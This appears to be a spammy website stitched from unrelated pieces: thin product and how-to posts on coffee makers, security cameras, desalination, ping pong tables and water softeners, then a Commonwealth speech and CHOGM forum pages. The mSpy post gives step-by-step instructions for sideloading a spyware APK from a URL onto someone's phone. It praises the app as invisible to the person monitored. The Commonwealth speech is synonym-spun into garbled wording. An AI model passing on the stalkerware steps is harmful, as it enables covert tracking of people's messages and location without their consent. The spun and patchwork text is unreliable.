Everyone is addicted to coffee nowadays either in the breakfast or during the dessert. On the basis of your daily needs, it is important that your equipment should be in tip-top shape. The lifespan of a coffee maker can vary greatly.

Some Coffee maker is used over a few decade while some other last for few years only. Its all depends on the brand, quality, and daily maintenance. Here are three signs that indicate that it’s time to replace your coffee machine.Know when it is time to replace the Coffee Maker

Signs to Replace your Coffee Maker

Here, we are going to discuss the signs that indicate that it might be time to replace your Coffee Maker. Let’s have a look at the some of the points discussed below.

Your Coffee Maker Leaks: Coffee maker after years of use begin to damage. If your brewer has some loose parts then you will notice a small amount of water around the coffee maker. In addition, you might also observe that your equipment is no longer brewing at full volume. The equipment that leaks can be an issue of safety because water and electricity when mixes can give you an electric shock. So, it is better to replace these machines as soon as possible.

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You run out Coffee every morning: If all the coffee ends from the break room by 9 am, it is probably time to upgrade your coffee maker. You need to buy large coffee maker or multiple machines. Compact brewers are perfect for the smaller offices with the limited space. So you need to take the required coffee maker according to your needs.

Your equipment is old: If you are using coffee maker for several years then it may be time to upgrade the older one with newer one. New brewers include more energy savings and come with the latest features that will save your expenses. Many new brewers are multi-functional and provide the selections of both teas and coffees.

Change in the Coffee Tastes: On the basis of your personal tastes that have changed with the time. In that case, you need to replace your coffee maker. The new coffee maker will certainly change the taste of coffee with the new way of processed, roasted, and brewed.

Water doesn’t get Hot: The required temperature for brewing coffee is between 90.6 to 96.1-degree Celcius. But, many coffee makers fail to reach even the lower range of temperature. Even if your coffee maker brews coffee at the correct temperature, the heating element may wear out with time. The sign of this will be the coffee taste slightly sour.

How to Clean Your Coffee Maker

Study finds that a dirty coffee maker contains more bacteria than some spots in your bathroom. So, it is harmful to drink up the bacteria and the mold which has been left to grow on the surface of the appliance. Here, we are going to discuss how to clean your Coffee Maker. It is essential for the lifespan of the coffee maker also.

Find out: What Are the Benefits of Water Softener Systems?

Wash removable parts after use: It is essential to wash the removable parts because it helps to remove the coffee, grinds, and oil left over it. It is also important to wipe down the outside and the warming plate where spills can burn on.

Remove compounds from your machine: Over the time hard water minerals stick to the inner part of the machine which makes your coffee takes longer to drip. To get back the machine in tip-top shape, you need to clean and remove the compounds stick to the machine.

Wipe down and Ressemble: Wipe down the exterior of your coffee maker and clean the carafe and filter basket in hot or soapy water. After that, reassemble all the parts and brew a cup of coffee.

We have discussed all the important points which indicate that you need to replace the old coffee maker with the new one. Further, you can get more information related to this topic from our website chogm2009.

After releasing the Arlo Pro camera, Netgear is back with another one which is called an Arlo Pro 2 that fulfill the camera with some fantastic features. The new model supports 1080 video format and offers high-quality video recordings. That means if strangers want to enter your home then they can help you better recognize the suspect.

By looking at the images of Arlo Pro Cameras, you can not spot the difference. The differences are in the technology. We will tell you the differences in both the cameras here. The second version of Arlo Pro is compatible with the first and second generation base stations. Also, you can easily get the Arlo Wire Free, Arlo Pro, and Arlo Pro 2 cameras within the same system.Difference between Arlo Pro and Arlo Pro 2

Difference Between Arlo Pro and Arlo Pro 2

We have already discussed that you can’t find the difference in both the camera by looking into the images. The differences are in its features and functions. Here, we are going to list out the difference between both the cameras.

Arlo Pro: Arlo Pro includes packages ranging from one to four cameras and also the base station included in it. It is easy to install due to the cordless design and magnetic mounts. The magnetic base allows you to the adjust the view of the camera easily. Also, the camera is based on the chargeable battery which doesn’t require any power adapter to continuously power it. Further, you need to charge the battery after every four months.

The Arlo Pro comes with the resolution of 720p which is same as the original camera. The viewing angles are 130 degrees that provide wide viewing angle. At night, they provide up to 25 feet of night vision using 850nm IR LEDs.

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The base station of Arlo Pro includes siren that is controlled using the app or set to sound automatically if the loud sound or a motion is detected. Moreover, the siren sounds loud to make you aware from the long distances.

Arlo Pro 2: It lets you see everything that goes inside the home. The high definition pixels allows you to keep eyes on the stranger and helps to recognize the suspect in a better way. You can get notifications and alerts for motion and large sounds on your smartphone through the application. After all, it provides 130-degree wide angle view. The Arlo Pro 2 packages include four cameras with audio and a base station.

Arlo Pro 2 is consists of  2-way audio, with a speaker and microphone. Security siren rings from the base station either through motion or manually. It supports continuous video recordings and available for a monthly fee if you want continuous recordings. Night vision allows you to see anything clearly even in the low light.Features of both Arlo Pro Cameras

Features of Both the Arlo Pro Cameras

Here, we will see the similarities of Arlo Pro and Arlo Pro 2 camera because most of the features of both the cameras are similar. Only there is a difference in the image and video quality. Let’s have a look at the features of both the camera.

Easy DIY: Turning Salt Water Into Drinking Water Using Solar Power

  • They provide free cloud storage recording for seven days.
  • Works with the rechargeable batteries. So, there is no worry of providing the power to them.
  • Notifications and alerts for sound and motion detection.
  • Weather resistant and waterproof. So, you don’t have to worry about the damage to your camera during the monsoon season.
  • 2-Way audio with speaker and microphone is provided inside the cameras.
  • Night vision allows you to watch everything even in low light up to 25 feet distance.
  • Compatible with the same smart home products including Wink, Alexa, SmartThings, etc

That’s all about the differences between Arlo Pro and Arlo Pro 2 cameras. Hope, you understand the differences between these two cameras. Further, you can get more information related to this wireless camera from our website chogum2009.

Scientists are turning salt water into the drinking water by using the sustainable solar power. It works well and energy efficient. The oldest method for converting fresh water from salt water is the distillation process. Salt water is first boiled and then steam is collected and made to pass through the condensing coil. But it was energy inefficient because the amount of water required for boiling and producing steam adds to fuel costs.

Further, the latest technology for water desalination takes place through membrane distillation, where the boiled salt water is made to flow from one side of a porous membrane. Further, the cold water is made to pass from the other side. But the energy costs are still more because heat loss is more in this process. However, the energy requirements are less compared to the traditional distillation. Thus, we are going to discuss how to convert the salt water into drinking water using solar power.Solar Powered Desalination

How it Works

The demand for global freshwater is increasing day by day in many parts of the world. In future, most of the people will face freshwater scarcity due to the increasing demand for the water and their supplies. However, salt water is available in abundant quantity. That’s why scientists have made the technology that could convert the salt water into fresh water with less energy utilization using the solar power. Here, we will discuss how solar power converts the salt water into drinking water.

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Solar Distillation: By using the process, it is possible to produce drinking water economically from small units as well as large ones. The cost of water produced from a medium sized is less than 3 Euro per cubic meter.

The working principle is simple. Salt Water is added to an upper channel in controlled amounts. From there, it starts falling over wicks and a black color observer through the collector. A part of the water starts evaporating due to the energy of the sun and the steam condense under the glass cover. Both the condensation runs into the channel. The untreated water is collected in front of it and it is diverted outside of the collector.

Although it looks simple to understand, the development process requires solutions to different problems. Use of seawater requires a special alloy. Also, use of stainless alloy for all the components is necessary.Location of Solar Distillation

Location of Solar Desalination

Many desalination plants are established in countries like Saudi Arabia because of the scarcity of the drinking water. They use waste heat generated as a byproduct of the oil-fired electricity generating plant. This means that the energy needed for desalination is free of cost.

The desalination process is provided with the large cluster of sunlight-concentrating mirrors. But the installation of mirrors would be expensive. A location should be like where the maximum amount of sunlight can reach on the solar panel.

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This technology is a boon for the people who are residing in the countries like Saudi Arabia where drinking water is not available in abundant. But the oil and gas are cheaper. Qatar has established several thermal based desalination plants with the money they got by selling gas to the European country.

There are still 1.3 billion people with insufficient drinking water supplies and 13,000 people die each day from the illness related to the drinking water. This leads to a situation in the poorer countries where people risk their health and their lives due to the lack of money. Solar distillation plants have already been around for a number of years for desalination of seawater.

That’s all about How to convert Salt Water into Drinking Water using Solar Power. Further, you can get more information about this article from our website chogm2009.

Ping Pong Tables is one of the great ways to spend time with the friends, family, and colleagues. Also, it is one of the fastest growing sports across the globe. Most of the people confuse with the Ping Pong Table and Table Tennis. Ping Pong is the name for playing as a hobby or for fun whereas table tennis is the name of the competitive sports. But, both the names are similar.

While playing with the friends or colleagues, you get competition sometimes. Unfortunately, it is called ping pong. However, playing Ping-Pong table is not so cheap at all because getting the better quality ping pong table costs more initially. There are various brands and types available to buy according to your choices and savings.

Cheapest Ping Pong Table to Look at in 2018

To enjoy a game of Ping Pong Table, you need to have the right equipment especially a high-end ping pong table. These tables come at different prices and specifications depending on the quality of the table. However, it is important to know you that which Ping Pong Table is cheaper for you depending on the basis of expenses and savings.JOOLA Midsize Compact Ping Pong Table

JOOLA Midsize Compact Ping Pong Table: It is one of the most reliable and cheaper Table Tennis. This table is good for the small spaces and spare rooms.


  • It is good for multi-use as both the halves are a perfect square.
  • Compact as both the legs can be folded and can be stored in most decent size cupboards.
  • Regulation height is narrow compared to a regular table. It stands as tall as a regular sized table that makes it good for small players also.
  • It includes set of clamps and net to attach to the table. Very easy to use because it includes two metal clamps which are easy to hold the net.
  • It doesn’t require assembly and it makes your life much comfortable.

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  • It is not of the full size and suitable for small rooms and will not give you real feelings of Table Tennis like professionals.East Point Sports Table Tennis

East Point Sports Table Tennis: It is another reliable Ping Pong Table of sports brand. Although, it doesn’t include tennis table equipment.


  • A folding table that quickly splits into two separate halves and provides enough space for the four players.
  • The set includes net and storage system where four paddles and six balls can be located in the middle of the table.
  • The table is also having 2-inch wheels table to move the table from storage to the playing zone.
  • It has rust-resistant steel frames for longer durability and to keep the table stronger for a longer time.


  • The set includes only a net. But, you need to purchase balls and paddles separately.
  • The overall cost increases with the purchase of the paddles and balls which is an issue.JOOLA Inside 15mm Table Tennis

JOOLA Inside 15mm Table Tennis: It is also a foldable ping pong table with two halves fold inwards and apart. It allows the table tennis lover to play as professionals with the good dimensions.

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  • It is easy to fold and place in the right place.
  • Able to store anywhere with the wheelchair accessible.
  • It is perfect table tennis for the Tennis Lover and who wants to play professional Table Tennis.
  • It is effortless to put together and comes with assembled parts that provide you more relaxation.
  • Adjust the height of your regular table to your personal preferences. This allows the smaller player to play easily on a perfect level.


  • The quality of the table is not so good as it looks from outside.

Further, if you are looking for the recreational Ping Pong Table that you can use in all weathers then you should opt for JOOLA Nova Table Tennis. However, we have discussed the three Ping Pong Table which you should look at in 2018 in terms of cheap price and good quality. Further, you can get more information related to this topic from our website chogm2009.

Hard water contains an excess amount of minerals like iron and calcium that can create a number of problems. Water softener systems remove the number of metal concentrations available in the hard water and provide several benefits. In this post, we are going to discuss the benefits of Water Softener Systems.

Hard Water clogs the pipes and does not allow the soap and detergent to dissolve in water. Further, it reduces the efficiency of your water heater due to the creation of scalp inside the pipes and water appliances. That is why it is necessary to use a Water Softener System that removes the minerals and makes the water soft for use.Benefits of Water Softener Systems

Benefits of Water Softener Systems

There are several benefits of Water Softeners Systems which we are going to explain here. Let’s have a look at the points below:

Faster Water Heating: Water heaters can heat the softened water faster than the hard water. Also, the soft water increases the efficiency by twenty-two percent for water heaters leading to the reduction in energy consumption and low electricity bills. Hard water blocks the path of the water flowing through the pipes with the metals or minerals available in it.

Increased Life of Appliance: The minerals available in the hard water reduces the life of the appliances as well as decreases the overall efficiency. As per as experts, water softening system extends the life of the several appliances such as water heaters, washing machines, utensils, and dishwashers. The longer lifespans of the appliances can save your money and also it is benefits for the environment resulting in the least waste used.

Easy to Clean: Clothes and dishes usually washed in hard water have white spots, streaks, and soapy residue left on it. Water Softeners helps to rinse soap residue more thoroughly, leaving your clothes and dishes cleaner. Further, soft water reduces soaps or detergents amount you need for cleaning that further adds to your savings.

Cleaner Piping System: Hard water cause the minerals deposits inside the pipes and plumbing fixtures. As with the days spent, these deposits cause blockage and corrosion inside the pipes and reduces the lifespan of the plumbing system. Water softening system minimizes the possibility of corrosion and clogs inside the pipes. According to the Water Quality Association, if you are using hard water then the head of your shower will be so choked that they become useless after two years.Know the Difference

Know the Difference

The easiest way you to observe whether it is hard water or soft water by looking on the lather on the soap. You can also observe it by looking at the utensils, sinks, and anything where the water touches. When the water dries up you will notice the different look on it. It will not as clean and even it is not safe for drinking also.

Further, there are various health-related issues involved with it which should be eliminated with the help of water softener systems.

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Hard Water Causes:

Soap to create a white film instead of a foam lather. The soap will remain on your skin also and it will not rinse off cleanly. Also, you can predict the difference by looking at your shower or tub. Hard water leaves a white mineral scalp on your surfaces. These scalps are a mixture of calcium and magnesium which stay under the pipe and clogs them.

Soft water preserves the life of all the water appliances such as washing machine, ice makers, coffee maker, etc. Further, reduces the yearly energy costs of that appliances by 22-29%. That’s all about the benefits of Water Softener Systems. Further, you can get more information related to this article from our website chogm2009.

mSpy is the popular and best mobile monitoring application for watching on your kids, supervising the performance of the employee, and preventing theft. In this post, we will discuss Why mSpy is #1 mobile monitoring app. The mobile monitoring application also tracks activities like call history, GPS location, text messages, web history, and more.

Our logging into your account you can immediately start watching the tracked data. mSpy allows the user to view all outgoing and incoming calls with their time and duration. It is launched in 2010 and it is easy to set up, reliable and works on every Android and iOS devices.How to install mSpy on Android Phone

How to Install mSpy on Android Phone

mSpy is one of the most popular spying apps to spy on any mobile device or tablet. It supports all the major mobile platforms. Here, we are going to guide you through the steps to install mSpy on Android Phone.

  1. First, go to the official website and choose the package. Once you buy a package, you will receive notifications in your mail.
  2. The email will contain the certain Login information. Proceed to the link provided.
  3. Then, log in with the same username and password received in your mail.
  4. Further, choose the phone device in the top left corner of the screen beside the Add device option.
  5. Further, select the Android device in the option and enable the Unknown sources in the security option in the settings option.
  6. After that, go to the browser and enter a.thdd.co/747901/a.apk in the address bar.
  7. The downloading process of the APK file will begin. Wait for few minute till the downloading is over.
  8. Now, find the APK file and install it on your device. Then, open the application and follow the instructions given on the screen.
  9. Later, you will be asked for an activation code to enter. Go back to the browser page and click on the proceed option in step 9 to get an activation code.
  10. Finally, your installation process is over and you can track call history, text messages, emails, browsing history, etc on your mobile.

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The application runs in the background and it is invisible to the phone user. So, your children or employees will never know that you are spying on them. The interface of the application is also very simple.Features of mSpy for Android

Features of mSpy for Android

After installing the mSpy on your child’s Phone. You will be able to track the what they are doing and who they are talking to on social media. Here, we will discuss some more features of mSpy for Android.

  • It keeps track of your phone location of your child’s phone and also uploads it to see where your child has been throughout the day.
  • You can read the received and sent text messages even if they are deleted from the phone.
  • View call history who they are calling and who calls them. You can get details like phone numbers, name, time, date, and duration of the call
  • It monitors the Internet use and you can able to view all the websites visited in the mobile device browser.
  • It keeps every contact with the phone address book and keeps track of all the events in the mobile’s calendar.
  • mSpy controls the applications and programs in the mobile device and makes sure that no inappropriate activity is going on.
  • With the mSpy, you can erase the data of the target phone which has been stolen or lost.
  • mSpy provides customer support 24/7 to fix the issue related to the software.

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mSpy provides a unique solution related to mobile monitoring software. It offers a list of features which we have already discussed above. Moreover, it has a user-friendly app interface and easy to use.That’s is why it is the best phone tracker of 2018. mSpy is basically designed to monitor your child, employees or others on a phone. Further, you can get more information related to mSpy from our website chogm2009.

President Richards, Head Of State Manning, President Museveni, Secretary-General, Ladies and Gentlemen,

This ruby anniversary year is a vital time for the Commonwealth to recall– and, more notably, look onward. In doing so, I think we could be pleased with how far the Commonwealth has come in its 60years, and yet how true it has actually stayed to its origins. However this does not mean we ought to come to be complacent or hinge on previous successes. Like any kind of great company we have to continuously pay attention to things that give it unique personality.

In my sight one of the core strengths of the Commonwealth hinges on the dedication to usual objectives and also worths. Our shared pledge to “the quest of freedom, tranquility and also progress” that my daddy helped to enshrine in the London Declaration in 1949 means as much today as it did then. We cherish flexibility, freedom as well as development as very much as ever before.

Yet the Commonwealth’s strength lies as much in individuals as it does in values.

Couple of various other international organizations could boast the very same rich diversity of mankind and yet additionally such a commonality of spirit.

The Commonwealth could be proud of that in each of its six years, it has formed the worldwide action to emerging global obstacles.

And on this, the eve of the UN Copenhagen Summit on Climate Change, the Commonwealth has a possibility to lead when more. Several of those affected are amongst the most susceptible, as well as many of the individuals least well able to stand up to the unfavorable effects of Climate Change live in the Commonwealth.

A 2nd area of possibility for the Commonwealth is supporting its young people. Similar to environmental obstacles, this location is not brand-new; yet while the Commonwealth might rightly celebrate reaching its 60th wedding anniversary, the future of this association lies with the one billion that are under 25 years of age. The Commonwealth must reveal that it is relevant to as well as supportive of our young people who have to be encouraged that the Commonwealth could aid them to understand their ambitions.

Mr. President, Mr. Prime Minister, it is a satisfaction for me to be back in Trinidad as well as Tobago, and in the Caribbean. This region is dear to the Commonwealth.
For little island states, the buffeting of the economic tornados of the last twelve months has given a demanding examination; and also wonderful ingenuity has been received order to meet the difficulty. As an organization the Commonwealth must stay specialized to building strength amongst its smaller sized participants.

But it is inadequate to look within the limits of the Commonwealth. In a globe where political, environmental and also economic possibilities as well as troubles go across continents, the Commonwealth will certainly also need to show its relevance past its own boundaries as well as establish a genuinely global perspective.

The motto of Trinidad and Tobago claims: ‘Together we strive, with each other we achieve’. There can be no much better summary of the Commonwealth’s principles as well as no far better guideline for achieving this CHOGM’s stated goal of a more lasting and equitable future.

I hope the leaders right here present– educated by the Commonwealth Youth Forum, individuals’s Forum as well as business Forum held previously today– could map out the route for an additional sixty years of success.

And with these obstacles in mind I am pleased to declare open this twentieth conference of the Commonwealth Heads of Government.

The CPF is the Commonwealth People’s Forum, the largest gathering of Commonwealth civil society to come together every two years to debate and discuss the issues that affect them. These issues are then distilled into a communiqué and presented to Commonwealth Foreign Ministers at the Commonwealth heads of Government Meeting which takes place directly after the

When is the 2009 CPF?
Sunday 22 – Thursday 26 November

Where will the CPF take place?
The Cascadia Hotel and Conference Centre is the host venue for the CPF. The CPF Opening Ceremony will be hosted at Queen’s Hall. A help desk for CPF delegates will be operational at the Cascadia Hotel.

How often is the CPF organised?
Every two years, to coincide with the biennial Commonwealth Heads of Government Meeting (CHOGM).

Why have a CPF?

  • To raise the visibility of civil society in the Commonwealth;
  • To create partnerships in the quest for development and democracy and
    strengthen links between Commonwealth civil society organisations;
  • To create opportunities for dialogue between civil society and government
    ministers on priority issues in the Commonwealth; and
  • To provide opportunities for that dialogue to be raised and addressed at
    the CHOGM.

What is the theme?
The CPF theme is the same as that of the CHOGM: Partnering for a More Equitable and Sustainable Future.

Who attends the CPF?

  • Civil society
  • Civil Society Organisations / Non Governmental Organisations
  • Heads of government
  • Ministers
  • CHOGM delegates
  • Private sector representatives
  • Youth
  • Members of the public

What is the role of the CHOGM National Secretariat?
The CHOGM National Secretariat and Commonwealth Foundation work together closely to coordinate and resource the CPF. The Secretariat provides the infrastructure required to stage a successful CPF, such as venues, audio visual equipment, transport and security. Overall, the Secretariat has responsibility for coordinating the CHOGM and all its parallel events.

What is the Civil Society Steering Committee?
The Civil Society Steering Committee is a group made up of civil society, CHOGM National Secretariat and Commonwealth Foundation representatives. The Committee regularly meets to provide input into the development of the CPF. The Committee is hosted by the Office of the Prime Minister and Chaired by Ms Beverly Beckles; CEO of the National Centre for Persons with Disabilities.

How many people can attend the CPF?
There is capacity for 500 delegates at the CPF.

How many CPF delegates will come from outside of Trinidad and Tobago?
Approximately 1 in 5 delegates are expected to attend from outside the host country; however this number is difficult to predict.

How do I get involved?
You can register to attend the CPF online at www.commonwealthfoundation.com from August 5 2009 – October 15 2009. Registration will close earlier if all the assemblies reach capacity before then so don’t delay! The number of participants is determined by the room size and is on a first come, first served basis. While you may only select one assembly for registration purposes, delegates are able to attend others should space permit.
If you do not have access to the online form, you can register at the office of the Local Host – Professional Centre, Unit 105/106 Fitz Blackman Drive, South Woodbrook, Port of Spain, Trinidad and Tobago phone 627 4807. You can also register at the National Centre for Persons with Disabilities (NCPD), 7-21 New Street, San Fernando, Trinidad and Tobago phone 652 4880/657 3525.

What happens after I register?
Whether you register directly through the on-line system or using a paper form, you will receive an email from CF Events confirming your registration. This email includes details on how to pay the registration fee. You do not need to follow this up. Instructions regarding collection of registration passes will be communicated closer to the CPF.

What is the registration fee?
A registration fee of $100TT for host country delegates applies when paid prior to the CPF. If paid at the CPF, the fee increases to $120TT. The fee for delegates from outside of the host country is $100US or $120US if paid at the CPF.

Who collects my fee and what does it cover?
The fee is collected by the Commonwealth Foundation and is payable in three ways – directly to the Commonwealth Foundation, through the Local Host or at the CPF. The fee goes towards covering the considerable cost of catering for CPF delegates.

How do I collect my registration pass?
Passes will be issued by the CHOGM National Secretariat. Delegates who register prior to October 15 will receive their registration passes in time for the CPF. Delegates registering in special circumstances after October 15 will be redirected to onsite registration centres in Port of Spain upon their opening to obtain their pass.

Where are the Learning Journeys going to?
Five Learning Journeys will be travelling to projects across Trinidad and Tobago. Learning Journeys provide opportunities for CPF delegates to share experiences with colleagues from civil society in the host country. Learning Journeys will take place on Thursday 26 November 2009. Those listed below are confirmed and more details about them will be available closer to the CPF. CPF delegates can register for a Learning Journey upon arrival at the CPF on a first come first served basis. There is capacity for 150 delegates to attend the Learning Journeys.

  • Tobago: civil society networking opportunity hosted by Soroptimists International followed by visit to Buccoo     Reef with Buccoo Reef Trust
  • Civil society networking opportunity with Toco-based groups hosted by Toco Foundation
  • National Centre for Persons with Disabilities, Indian Caribbean Museum and TT Agri Business Association
  • Just Because Foundation and Export Centre
  • Santa Rosa Amerindian Community

If you miss out on a Learning Journey, you could attend a skills building workshop at the People’s Space, continue networking with your new civil society contacts, go shopping or book a private tour.

What transport is provided?
Complimentary transportation will be provided as follows:

  • To / from Piarco airport to CHOGM hotels from November 19-28
  • To / from CPF venue and other CPF venues where required
  • To / from Learning Journeys

What is the People’s Space?
An exciting aspect of the 2009 CHOGM is the People’s Space, taking place in the Queen’s Park Savannah. The People’s Space will be an open, interactive area and a hive of activity. Cultural performances, film, workshops and hands on activities will be central to the People’s Space. The People’s Space – is a free space, quite literally, for The People. Visitors to the People’s Space do not need to be registered delegates.

When will the People’s Space take place?
You can participate in the People’s Space from Monday 23 to Sunday 29 November, 2009.

The Challenge of Our Time

1.   Climate change is the predominant global challenge.  We convened a Special Session on Climate Change in Port of Spain to discuss our profound concern about the undisputed threat that climate change poses to the security, prosperity, economic and social development of our people.  For many it is deepening poverty and affecting the attainment of the Millennium Development Goals. For some of us, it is an existential threat.

2.    We reaffirm our commitment to the Lake Victoria Commonwealth Climate Change Action Plan and its further implementation, in particular by contributing to the efforts of member states in transforming their economies and strengthening the capacity and voice of vulnerable groups.

3.    We recognise the unprecedented opportunity of our meeting just ahead of the 15th Conference of the Parties to the UN Framework Convention on Climate Change in Copenhagen. We approach Copenhagen with ambition, optimism and determination. We welcome the attendance of leaders at the Copenhagen conference. The needs of the most vulnerable must be addressed.  Their voice must be heard and capacity to engage strengthened.  Many of us from small island states, low-lying coastal states and least developed countries face the greatest challenges, yet have contributed least to the problem of climate change.

4.    In keeping with the spirit of the theme of CHOGM 2009, `Partnering for a more equitable and sustainable future’, we warmly welcomed the United Nations Secretary General, the Prime Minister of Denmark and the President of France.

5.    We represent a third of the world’s population in all continents and oceans, and more than one quarter of the Parties to the United Nations Framework Convention on Climate Change. We have the global reach and diversity to help forge the inclusive global solutions needed to combat climate change.

6.    Science, and our own experience, tells us that we only have a few short years to address this threat. The average global temperature has risen because of the increase in carbon and other greenhouse gas emissions.  The latest scientific evidence indicates that in order to avoid dangerous climate change that is likely to have catastrophic impacts we must find solutions using all available avenues. We must act now.

7.    We believe an internationally legally binding agreement is essential.  We pledge our continued support to the leaders-driven process guided by the Danish Prime Minister and his efforts to deliver a comprehensive, substantial and operationally binding agreement in Copenhagen leading towards a full legally binding outcome no later than 2010.  In Copenhagen we commit to focus our efforts on achieving the strongest possible outcome.

Copenhagen and Beyond

8.    A global climate change solution is central to the survival of peoples, the promotion of development and facilitation of a global transition to a low emission development path. The agreement in Copenhagen must address the urgent needs of developing countries by providing financing, support for adaptation, technology transfer, capacity building, approaches and incentives for reducing emissions from deforestation and forest degradation, and for afforestation and sustainable management of forests.

9.    In addition, we will strive to significantly increase technological and technology support to developing countries to facilitate the deployment and diffusion of clean technologies through a range of mechanisms.  We will work to facilitate and enable the transition to low-emission economies, climate resilience, and in particular, support, including through capacity building, for increasing the climate resilience of vulnerable economies.  We will also aim to develop cleaner, more affordable and renewable energy sources. We must explore global mechanisms through which those identified technologies can be disseminated as rapidly as possible.

10.    Ensuring the viability of states should underpin a shared vision for long-term cooperative action and a long-term global goal for emission reductions. In building towards an international agreement, all countries will need to play their part, in accordance with the principle of common but differentiated responsibilities and respective capabilities.

11.    We need an ambitious mitigation outcome at Copenhagen to reduce the risks of dangerous climate change without compromising the legitimate development aspirations of developing countries.  We stress our common conviction that urgent and substantial action to reduce global emissions is needed and  have a range of views as to whether average global temperature increase should be constrained to below 1.5 degrees or to no more than 2 degrees Celsius above pre-industrial levels. We also recognise the need for an early peaking year for global emissions. Developed countries should continue to lead on cutting their emissions, and developing countries, in line with their national circumstances, should also take action to achieve a substantial deviation from business-as-usual emissions including with financial and technical support , and also supported by technology and capacity building.

12.    Progress towards predictable and adequate finance for adaptation and mitigation measures must be achieved in any new multilateral approach. Public and private financial resources for developing countries will need to be scaled up urgently and substantially by 2020. We recognise that adaptation finance in particular should be targeted towards the poorest and most vulnerable countries. The provision of finance should be additional to existing official development assistance commitments. In this respect, we acknowledge the potential role of the private sector and carbon markets.

13.    In addition, we recognise the need for an early start to the provision for financial resources.  Fast start funding, constituting grant funding, should provide substantial support for adaptation, REDD plus  and clean technology.  We welcomed the initiative to establish, as part of a comprehensive agreement, a Copenhagen Launch Fund starting in 2010 and building to a level of resources of $10 billion annually by 2012.

Fast start funding for adaptation should be focused on the most vulnerable countries. We also welcomed a proposal to provide immediate, fast disbursing assistance with a dedicated stream for small island states, and associated low-lying coastal states of AOSIS  of at least 10% of the fund.

We also recognise the need for further, specified and comparable funding streams, to assist the poorest and most vulnerable countries, to cope with, and adapt to the adverse impacts of climate change. We recognise that funding will be scaled up beyond 2012.

14.    We agree that an equitable governance structure to manage the financial and technological support must be put in place.  We agree that a future governance structure should provide for states to monitor and comply with arrangements entered under a new Copenhagen agreement.